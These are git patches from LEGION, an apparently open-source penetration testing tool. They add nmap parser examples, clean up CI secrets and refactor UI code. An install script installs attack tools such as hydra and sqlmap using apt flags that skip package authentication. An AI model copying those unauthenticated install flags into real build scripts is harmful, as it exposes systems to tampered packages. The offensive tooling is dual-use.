GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" +import xml + +from app.auxiliary import log +from parsers.OS import OS + +if __name__ == '__main__': + dom = xml.dom.minidom.parse('test.xml') + osclass = dom.getElementsByTagName('osclass')[0] + osmatch = dom.getElementsByTagName('osmatch')[0] + + os = OS(osclass) + log.info(os.name) + log.info(os.family) + log.info(os.generation) + log.info(os.osType) + log.info(os.vendor) + log.info(str(os.accuracy)) + + os = OS(osmatch) + log.info(os.name) + log.info(os.family) + log.info(os.generation) + log.info(os.osType) + log.info(os.vendor) + log.info(str(os.accuracy)) \ No newline at end of file diff --git a/examples/ParserExample.py b/parsers/examples/ParserExample.py similarity index 100% rename from examples/ParserExample.py rename to parsers/examples/ParserExample.py diff --git a/parsers/examples/ScriptExample.py b/parsers/examples/ScriptExample.py new file mode 100644 index 00000000..90adb95b --- /dev/null +++ b/parsers/examples/ScriptExample.py @@ -0,0 +1,28 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" +import xml + +from app.auxiliary import log +from parsers.Script import Script + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('a-full.xml') + + for scriptNode in dom.getElementsByTagName('script'): + script = Script(scriptNode) + log.info(script.scriptId) + log.info(script.output) diff --git a/parsers/examples/ServiceExample.py b/parsers/examples/ServiceExample.py new file mode 100644 index 00000000..f93ad919 --- /dev/null +++ b/parsers/examples/ServiceExample.py @@ -0,0 +1,38 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" +import sys +import xml + +from app.auxiliary import log +from parsers.Service import Service + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('i.xml') + + service_nodes = dom.getElementsByTagName('service') + if len(service_nodes) == 0: + sys.exit() + + node = dom.getElementsByTagName('service')[0] + + s = Service( node ) + log.info(s.name) + log.info(s.product) + log.info(s.version) + log.info(s.extrainfo) + log.info(s.fingerprint) \ No newline at end of file diff --git a/parsers/examples/SessionExample.py b/parsers/examples/SessionExample.py new file mode 100644 index 00000000..c168a8d2 --- /dev/null +++ b/parsers/examples/SessionExample.py @@ -0,0 +1,40 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" +import xml + +from app.auxiliary import log +from parsers.Session import Session + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('i.xml') + dom.getElementsByTagName('finished')[0].getAttribute('timestr') + + MySession = { 'finish_time': dom.getElementsByTagName('finished')[0].getAttribute('timestr'), + 'nmapVersion' : '4.79', 'scanArgs' : '-sS -sV -A -T4', + 'startTime' : dom.getElementsByTagName('nmaprun')[0].getAttribute('startstr'), + 'totalHosts' : '1', 'upHosts' : '1', 'downHosts' : '0' } + + s = Session( MySession ) + + log.info('startTime:' + s.startTime) + log.info('finish_time:' + s.finish_time) + log.info('nmapVersion:' + s.nmapVersion) + log.info('nmap_args:' + s.scanArgs) + log.info('total hosts:' + s.totalHosts) + log.info('up hosts:' + s.upHosts) + log.info('down hosts:' + s.downHosts) \ No newline at end of file diff --git a/parsers/examples/__init__.py b/parsers/examples/__init__.py new file mode 100644 index 00000000..bcdbc64c --- /dev/null +++ b/parsers/examples/__init__.py @@ -0,0 +1,17 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" \ No newline at end of file From 4956ebf9fc04d6cb3844c2bc8684ac709448ffc8 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 5 Dec 2019 04:18:46 -0600 Subject: [PATCH 318/450] Fixing travis --- .travis.yml | 2 -- deps/installDeps.sh | 2 +- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/.travis.yml b/.travis.yml index 5387dd27..fa3a02cb 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,7 +1,5 @@ env: global: - - secure: "VM/r48bUR02V1ylKjhC+kWax3mIdDtsQBaaTjSWUuhYCOFKZpcJSqrOZVQb43XSz5ss7aD/F9Xkl+jrffgHeXVxE63UlGf9CbIw+v5s8bJlakDNU2/DEMahyq1ySzj/6An6/a4GA5E3ltNftWIw9PymM+8IgeT+l76DOAU3BbjNhy5wcXHcKWH3uwrlMzLuw9LGcqZaYFwcDHzGcjN13OrO6mQxlbrt+mJQPfcI1Kv29/5XRJeOUG6RV+fbQk27CVkqNTW1GENFOdzvuYX0HETiUw6sjwjsezlnCcBzIDDMJSHpPYp58nUvmfyBCHfB2GXK8hgNoBt7NLIayDyNomgrajiTinRpV8gdP4vkWARY4Zq4+H90pFIsUg3Zk+JQ5YPGySMrdhE3PDy/sBZqMEK2n66kMbfW2qNtOVMBFniW549JVQswWiuTUKd/DFV7z1M4ENakz1n3Zjmtwz+AhVNoiRrAcy4othZKXqpzTAjEnxni9be0qvi/lb2+0l/PxYn4auyyocSnUt8T8N6ekYoQ3Q5Tw6HdyiKpMo7W9rziIpd84hYNkbzMtTNx0nEeyEjuma4iSz6onaPv9hIYwn0iejlcGH+ApFTxleHjyMa6NWG2fu0G0qMsJY4BJpZYYYjnZ9qokpYlLa+pHShy23ga7cNBjnYpeLW0YTta6muw=" - - secure: "PBzo4fc/5ihbc1QuwuhzmCCKvi0/8ZTRPpjCO+YEUOZb8+XnVTUnzTpeRX7FyGMnt7DlDhn1vja+1dy4qL3T6vriZwF+j8ONrK/1EYDPgIrlQOxaMRvx/7+quhzfePJaExY7mwjFkzqts6wLTWLJMF7mNgXrqO7V5KG+3tI724Rj+0egNjFHOvM5wkHjVAYWCVpFxxdCCDSOnf+rf+rjLMZPMJJOq2n+jVJPCLm+fSGLInohRIplKTr9eYBxO4o9k7ILw9bG/RWJawTVYxGEt16IGmvgLcQdMRnMC11Az8ZcZI78zGNR+IBt0txIHQ4kkcdsWlfMOPchL7xeuGttR9fC+Lk4qQEo/mltH6DsSdpK05hiEajeFuZ7cPefLgrYYeMeA6P+yBPAwrLPuH85aXcplH5IsBbqYHWJYGwvaBixoPkndE0tdWQ3Rwu8oSMQG5AEu11ejqhGpf0fabVRLiSILHumwWVqREW7taYInXCUPpp9rsFR5JIBH8AG96d5NlX3LOFxZgnieZD1SocHM4/prqef8G6MnVD7TNEhlTHMFl1JUqYNINActwsROi1P6/uLJ3jqAVa4pdYcGLmJpiccmL0cT6VSRakZPKsRdRL6Er8g1mJYq6Bco5OmVemsuvONrqzW/eMcu4rq+mRx69tS0zrTaLmq0B9o9I4kc1c=" - COMMIT=${TRAVIS_COMMIT::8} language: python diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 09891fad..113df35c 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -10,7 +10,7 @@ apt-get update -m echo "Installing deps..." DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap theharvester wapiti libqt5core5a python-pip ruby perl urlscan git xsltproc - +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install libgl1-mesa-glx DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python-impacket From 6f9a3c7ee328f5d111ff4dffcc93093e9b373c18 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 5 Dec 2019 04:37:41 -0600 Subject: [PATCH 319/450] Fixing travis --- .travis.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index c096d2a5..68d47da7 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,7 +1,5 @@ env: global: - - secure: "VM/r48bUR02V1ylKjhC+kWax3mIdDtsQBaaTjSWUuhYCOFKZpcJSqrOZVQb43XSz5ss7aD/F9Xkl+jrffgHeXVxE63UlGf9CbIw+v5s8bJlakDNU2/DEMahyq1ySzj/6An6/a4GA5E3ltNftWIw9PymM+8IgeT+l76DOAU3BbjNhy5wcXHcKWH3uwrlMzLuw9LGcqZaYFwcDHzGcjN13OrO6mQxlbrt+mJQPfcI1Kv29/5XRJeOUG6RV+fbQk27CVkqNTW1GENFOdzvuYX0HETiUw6sjwjsezlnCcBzIDDMJSHpPYp58nUvmfyBCHfB2GXK8hgNoBt7NLIayDyNomgrajiTinRpV8gdP4vkWARY4Zq4+H90pFIsUg3Zk+JQ5YPGySMrdhE3PDy/sBZqMEK2n66kMbfW2qNtOVMBFniW549JVQswWiuTUKd/DFV7z1M4ENakz1n3Zjmtwz+AhVNoiRrAcy4othZKXqpzTAjEnxni9be0qvi/lb2+0l/PxYn4auyyocSnUt8T8N6ekYoQ3Q5Tw6HdyiKpMo7W9rziIpd84hYNkbzMtTNx0nEeyEjuma4iSz6onaPv9hIYwn0iejlcGH+ApFTxleHjyMa6NWG2fu0G0qMsJY4BJpZYYYjnZ9qokpYlLa+pHShy23ga7cNBjnYpeLW0YTta6muw=" - - secure: "PBzo4fc/5ihbc1QuwuhzmCCKvi0/8ZTRPpjCO+YEUOZb8+XnVTUnzTpeRX7FyGMnt7DlDhn1vja+1dy4qL3T6vriZwF+j8ONrK/1EYDPgIrlQOxaMRvx/7+quhzfePJaExY7mwjFkzqts6wLTWLJMF7mNgXrqO7V5KG+3tI724Rj+0egNjFHOvM5wkHjVAYWCVpFxxdCCDSOnf+rf+rjLMZPMJJOq2n+jVJPCLm+fSGLInohRIplKTr9eYBxO4o9k7ILw9bG/RWJawTVYxGEt16IGmvgLcQdMRnMC11Az8ZcZI78zGNR+IBt0txIHQ4kkcdsWlfMOPchL7xeuGttR9fC+Lk4qQEo/mltH6DsSdpK05hiEajeFuZ7cPefLgrYYeMeA6P+yBPAwrLPuH85aXcplH5IsBbqYHWJYGwvaBixoPkndE0tdWQ3Rwu8oSMQG5AEu11ejqhGpf0fabVRLiSILHumwWVqREW7taYInXCUPpp9rsFR5JIBH8AG96d5NlX3LOFxZgnieZD1SocHM4/prqef8G6MnVD7TNEhlTHMFl1JUqYNINActwsROi1P6/uLJ3jqAVa4pdYcGLmJpiccmL0cT6VSRakZPKsRdRL6Er8g1mJYq6Bco5OmVemsuvONrqzW/eMcu4rq+mRx69tS0zrTaLmq0B9o9I4kc1c=" - COMMIT=${TRAVIS_COMMIT::8} language: python From f33130e861e3d3a52ae5d47891c7287c746afc60 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 5 Dec 2019 04:38:24 -0600 Subject: [PATCH 320/450] Fixing travis --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 09891fad..113df35c 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -10,7 +10,7 @@ apt-get update -m echo "Installing deps..." DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap theharvester wapiti libqt5core5a python-pip ruby perl urlscan git xsltproc - +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install libgl1-mesa-glx DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python-impacket From dafbb962338ad3fec60d191af90befd0e0a76f07 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 7 Dec 2019 09:54:44 -0500 Subject: [PATCH 321/450] Extract application metadata from main controller - Application metadata is static and changes for a different reason than the main controller of the application - The extraction is part of an effort to reduce coupling between UI and the core logic of the application --- app/ApplicationInfo.py | 38 ++++++++++++++++++++++++++++++++++++++ controller/controller.py | 21 +-------------------- ui/view.py | 11 ++++++----- 3 files changed, 45 insertions(+), 25 deletions(-) create mode 100644 app/ApplicationInfo.py diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py new file mode 100644 index 00000000..cb926734 --- /dev/null +++ b/app/ApplicationInfo.py @@ -0,0 +1,38 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" + +applicationInfo = { + "name": "LEGION", + "version": "0.3.5", + "build": "1565621036", + "author": "GoVanguard", + "copyright": "2019", + "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.io/legion"], + "emails": [], + "update": "08/12/2019", + "license": "GPL v3", + "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + + "super-extensible and semi-automated network penetration testing tool that aids in " + + "discovery, \nreconnaissance and exploitation of information systems.", + "smallIcon": "./images/icons/Legion-N_128x128.svg", + "bigIcon": "./images/icons/Legion-N_128x128.svg" +} + + +def getVersion(): + return f"{applicationInfo['version']}-{applicationInfo['build']}" diff --git a/controller/controller.py b/controller/controller.py index 2d859567..401677e9 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -20,6 +20,7 @@ import signal # for file operations, to kill processes, for regex, for subprocesses import subprocess +from app.ApplicationInfo import applicationInfo from app.Screenshooter import Screenshooter from app.actions.updateProgress.UpdateProgressObservable import UpdateProgressObservable from app.importers.NmapImporter import NmapImporter @@ -40,23 +41,6 @@ class Controller: # initialisations that will happen once - when the program is launched @timing def __init__(self, view, logic): - self.name = "LEGION" - self.version = '0.3.5' - self.build = '1565621036' - self.author = 'GoVanguard' - self.copyright = '2019' - self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] - self.emails = [] - - self.update = '08/12/2019' - - self.license = "GPL v3" - self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + \ - "super-extensible and semi-automated network penetration testing tool that aids in " + \ - "discovery, \nreconnaissance and exploitation of information systems." - self.smallIcon = './images/icons/Legion-N_128x128.svg' - self.bigIcon = './images/icons/Legion-N_128x128.svg' - self.logic = logic self.view = view self.view.setController(self) @@ -170,9 +154,6 @@ def getCWD(self): def getProjectName(self): return self.logic.activeProject.properties.projectName - def getVersion(self): - return (self.version + "-" + self.build) - def getRunningFolder(self): return self.logic.activeProject.properties.runningFolder diff --git a/ui/view.py b/ui/view.py index b6a75fca..6b0f9992 100644 --- a/ui/view.py +++ b/ui/view.py @@ -22,6 +22,7 @@ from PyQt5 import QtCore from PyQt5 import QtWidgets, QtGui, QtCore +from app.ApplicationInfo import applicationInfo, getVersion from app.shell.Shell import Shell from app.timing import getTimestamp from ui.ViewState import ViewState @@ -75,10 +76,10 @@ def startOnce(self): self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.shell, self.ui.centralwidget) - self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, - self.controller.links, self.controller.emails, self.controller.version, - self.controller.build, self.controller.update, self.controller.license, - self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, + self.helpDialog = HelpDialog(applicationInfo["name"], applicationInfo["author"], applicationInfo["copyright"], + applicationInfo["links"], applicationInfo["emails"], applicationInfo["version"], + applicationInfo["build"], applicationInfo["update"], applicationInfo["license"], + applicationInfo["desc"], applicationInfo["smallIcon"], applicationInfo["bigIcon"], qss = self.qss, parent = self.ui.centralwidget) self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) @@ -244,7 +245,7 @@ def setDirty(self, status=True): # this function is called for example when th else: title += ntpath.basename(str(self.controller.getProjectName())) - self.setMainWindowTitle(self.controller.name + ' ' + self.controller.getVersion() + ' - ' + title + ' - ' + + self.setMainWindowTitle(applicationInfo["name"] + ' ' + getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) #################### ACTIONS #################### From 1a1c55447bf63e1a5343d96c4af32ec176a9e97b Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 24 Dec 2019 11:22:50 -0600 Subject: [PATCH 322/450] Update Readme --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index a7c7bb8e..6ed55d9f 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,8 @@ exploit attack vectors on hosts It is preferable to use the docker image over a traditional installation. This is because of all the dependancy requirements and the complications that occur in environments which differ from a clean, non-default installation. +NOTE: Docker versions of Legion are *unlikely* to work when run as root or under a root X! + ### Supported Distributions #### Docker runIt script @@ -221,3 +223,4 @@ Legion is licensed under the GNU General Public License v3.0. Take a look at the * ms08-067_check script used by smbenum.sh is credited to Bernardo Damele A.G. * Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies so we would like to thank all of the people involved in the creation of those. +* Special thanks to Dimitry Dubson for his continued contributions to the project! From b7a728f4e7308758a241638b4c832dd5d2db8c63 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 24 Dec 2019 11:31:03 -0600 Subject: [PATCH 323/450] Update Readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6ed55d9f..6d6a5174 100644 --- a/README.md +++ b/README.md @@ -223,4 +223,4 @@ Legion is licensed under the GNU General Public License v3.0. Take a look at the * ms08-067_check script used by smbenum.sh is credited to Bernardo Damele A.G. * Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies so we would like to thank all of the people involved in the creation of those. -* Special thanks to Dimitry Dubson for his continued contributions to the project! +* Special thanks to Dmitriy Dubson for his continued contributions to the project! From 3b6defed1b1d076c8860f1dd5bff8166fd2fd5ef Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 24 Dec 2019 11:33:03 -0600 Subject: [PATCH 324/450] Update Readme --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index c19b7162..8f075a06 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,8 @@ exploit attack vectors on hosts It is preferable to use the docker image over a traditional installation. This is because of all the dependancy requirements and the complications that occur in environments which differ from a clean, non-default installation. +NOTE: Docker versions of Legion are *unlikely* to work when run as root or under a root X! + ### Supported Distributions #### Docker runIt script @@ -222,3 +224,4 @@ Legion is licensed under the GNU General Public License v3.0. Take a look at the * ms08-067_check script used by smbenum.sh is credited to Bernardo Damele A.G. * Legion relies heavily on nmap, hydra, python, PyQt, SQLAlchemy and many other tools and technologies so we would like to thank all of the people involved in the creation of those. +* Special thanks to Dmitriy Dubson for his continued contributions to the project! From 4d8a775a5aba8ba50fa19f0bd1f54919d07c2c9d Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 7 Dec 2019 16:25:47 -0500 Subject: [PATCH 325/450] Extract UI table headers into separate file to reduce duplication - Table headers for table creation were being duplicated and referenced in multiple places in view.py. This commit extracts headers into a single location --- ui/ViewHeaders.py | 39 ++++++++++++++++++++++ ui/view.py | 85 ++++++++++++++++------------------------------- 2 files changed, 67 insertions(+), 57 deletions(-) create mode 100644 ui/ViewHeaders.py diff --git a/ui/ViewHeaders.py b/ui/ViewHeaders.py new file mode 100644 index 00000000..0db4ef6c --- /dev/null +++ b/ui/ViewHeaders.py @@ -0,0 +1,39 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" + +hostTableHeaders = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", + "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + +serviceTableHeaders = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] + +serviceNamesTableHeaders = ["Name"] + +scriptsTableHeaders = ["Id", "Script", "Port", "Protocol"] + +cvesTableHeaders = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", + "ExploitDb URL"] + +processTableHeaders = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + +toolsTableHeaders = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + +toolHostsTableHeaders = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] diff --git a/ui/view.py b/ui/view.py index 6b0f9992..fb06068a 100644 --- a/ui/view.py +++ b/ui/view.py @@ -25,6 +25,8 @@ from app.ApplicationInfo import applicationInfo, getVersion from app.shell.Shell import Shell from app.timing import getTimestamp +from ui.ViewHeaders import serviceTableHeaders, hostTableHeaders, processTableHeaders, toolHostsTableHeaders, \ + scriptsTableHeaders, toolsTableHeaders, cvesTableHeaders, serviceNamesTableHeaders from ui.ViewState import ViewState from ui.gui import * from ui.dialogs import * @@ -177,52 +179,36 @@ def startConnections(self): # signal initialisations (signals/slots, actions, e def initTables(self): # this function prepares the default settings for each table # hosts table (left) - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", - "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] - setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, - 17, 18, 19, 20, 21, 22, 23, 24]) + setTableProperties(self.ui.HostsTableView, len(hostTableHeaders), [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) # service names table (left) - headers = ["Name"] - setTableProperties(self.ui.ServiceNamesTableView, len(headers)) + setTableProperties(self.ui.ServiceNamesTableView, len(serviceNamesTableHeaders)) # cves table (right) - headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", - "ExploitDb URL"] - setTableProperties(self.ui.CvesTableView, len(headers)) + setTableProperties(self.ui.CvesTableView, len(cvesTableHeaders)) self.ui.CvesTableView.setSortingEnabled(True) # tools table (left) - headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", - "OutputFile", "Output", "Status"] - setTableProperties(self.ui.ToolsTableView, len(headers), [0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) + setTableProperties(self.ui.ToolsTableView, len(toolsTableHeaders), [0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) # service table (right) - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", - "Extrainfo", "Fingerprint"] - setTableProperties(self.ui.ServicesTableView, len(headers), [0, 1, 5, 6, 8, 10, 11]) + setTableProperties(self.ui.ServicesTableView, len(serviceTableHeaders), [0, 1, 5, 6, 8, 10, 11]) # ports by service (right) - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", - "Extrainfo", "Fingerprint"] - setTableProperties(self.ui.ServicesTableView, len(headers), [2, 5, 6, 8, 10, 11]) + setTableProperties(self.ui.ServicesTableView, len(serviceTableHeaders), [2, 5, 6, 8, 10, 11]) self.ui.ServicesTableView.horizontalHeader().resizeSection(0, 130) # resize IP # scripts table (right) - headers = ["Id", "Script", "Port", "Protocol"] - setTableProperties(self.ui.ScriptsTableView, len(headers), [0, 3]) + setTableProperties(self.ui.ScriptsTableView, len(scriptsTableHeaders), [0, 3]) # tool hosts table (right) - headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", - "Start time", "OutputFile", "Output", "Status"] - setTableProperties(self.ui.ToolHostsTableView, len(headers), [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12]) - self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column + setTableProperties(self.ui.ToolHostsTableView, len(toolHostsTableHeaders), [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12]) + self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5, 150) # default width for Host column # process table - headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", - "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] - setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) + setTableProperties(self.ui.ProcessesTableView, len(processTableHeaders), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) self.ui.ProcessesTableView.setSortingEnabled(True) def setMainWindowTitle(self, title): @@ -1024,9 +1010,7 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", - "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] - self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) + self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), hostTableHeaders) self.ui.HostsTableView.setModel(self.HostsTableModel) self.viewState.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore @@ -1053,9 +1037,8 @@ def updateHostsTableView(self): self.hostTableClick() def updateServiceNamesTableView(self): - headers = ["Name"] self.ServiceNamesTableModel = ServiceNamesTableModel( - self.controller.getServiceNamesFromDB(self.viewState.filters), headers) + self.controller.getServiceNamesFromDB(self.viewState.filters), serviceNamesTableHeaders) self.ui.ServiceNamesTableView.setModel(self.ServiceNamesTableModel) self.viewState.lazy_update_services = False # to indicate that it doesn't need to be updated anymore @@ -1075,12 +1058,10 @@ def updateServiceNamesTableView(self): self.serviceNamesTableClick() def 